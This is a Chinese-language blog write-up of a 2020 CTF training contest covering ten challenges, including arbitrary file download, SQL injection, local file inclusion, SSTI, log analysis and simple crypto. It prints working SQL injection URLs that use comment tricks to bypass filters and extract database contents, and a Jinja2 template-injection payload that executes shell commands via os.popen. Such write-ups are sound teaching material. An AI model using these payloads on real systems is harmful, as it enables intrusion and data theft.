cluren's Studio.

四叶草四校友谊赛CTF记录

字数统计: 739阅读时长: 3 min
2020/04/26

题目来源于四叶草云演平台攻防启航班考核

阿童木(任意文件下载)

打开题目是很多张阿童木的图片,点击图片会直接下载。测试存在任意文件下载漏洞,下载passwd文件找到BASE64加密的flag,解密即可拿到flag。

大学生活(SQL注入)

更改id值,回显发生变化(底部红框部分)过滤空格、and、order、=等

payload:

1
2
3
4
5
6
7
?id=1/**/%26/**/1
?id=1/**/%26/**/0
?id=1/**/group/**/by/**/6
?id=-1/**/union/**/select/**/1,database(),3,4,5,6,7
?id=-2/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7/**/from/**/information_schema.tables/**/where/**/!(table_schema<>"web")
?id=-2/**/union/**/select/**/1,group_concat(column_name),3,4,5,6,7/**/from/**/information_schema.columns/**/where/**/!(table_name<>"flag")
?id=-2/**/union/**/select/**/1,flag,3,4,5,6,7/**/from/**/flag

后台管理系统(SQL注入、信息泄露)

本题为约束的SQL注入攻击,登录框尝试万能密码绕过没成功,注册账号时admin后面加空格成功注册后登录即可以admin身份成功登录。本次还存在数据库信息泄露,存在test.sql文件,下载后可得到admin密码。

上网认证系统(文件包含)

存在本地文件包含,可以利用PHP为协议,同时存在盲注(但是没找到flag)

解题方法之一:根据题目源码会uesrname会存入session,phpinfo找到session文件位置,在注册用户名构造payload并包含,session会base64加密,包含时需进行base64解码,所以paylaod前面应该为8的倍数防止payload解码失败。

Find the hacker(日志分析)

题目要求找出恶意爆破成功时间。在日志中找到爆破日志,然后这条302跳转的就是成功爆破那条日志。

手绘(png重水印攻击)

gihub脚本直接解出flag

打假(RAR伪加密)

010editor改加密位即可

Blog(ssit注入)

查看网页源代码发现一句注释: <!– 还特地嘱咐我上线的时候要关闭debug模式,老子早就看你不顺眼了,我就不!

在自定义模板页面可以进行ssit注入。命令执行可以看源码,最后发现flag文件读取即可

1
{{ ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read() }}

NES(DES加密)

给出的是DES的n次加密,密钥八个一组共6个,逆着解密。

以下是官方writeup给出的脚本:

XBOR(异或加密)

给出一串字符,看起来像是BASE加密,解密后并不是flag,根据题目提示想到异或,直接利用下面连接的脚本就可以得出flag。

1
fnR5f2N7KXt5LyooLn59Kyp6fSp+LS96KCwpIX15LHt+Liope2U=

https://blog.csdn.net/valecalida/article/details/102717762

CATALOG
  1. 1. 阿童木(任意文件下载)
  2. 2. 大学生活(SQL注入)
  3. 3. 后台管理系统(SQL注入、信息泄露)
  4. 4. 上网认证系统(文件包含)
  5. 5. Find the hacker(日志分析)
  6. 6. 手绘(png重水印攻击)
  7. 7. 打假(RAR伪加密)
  8. 8. Blog(ssit注入)
  9. 9. NES(DES加密)
  10. 10. XBOR(异或加密)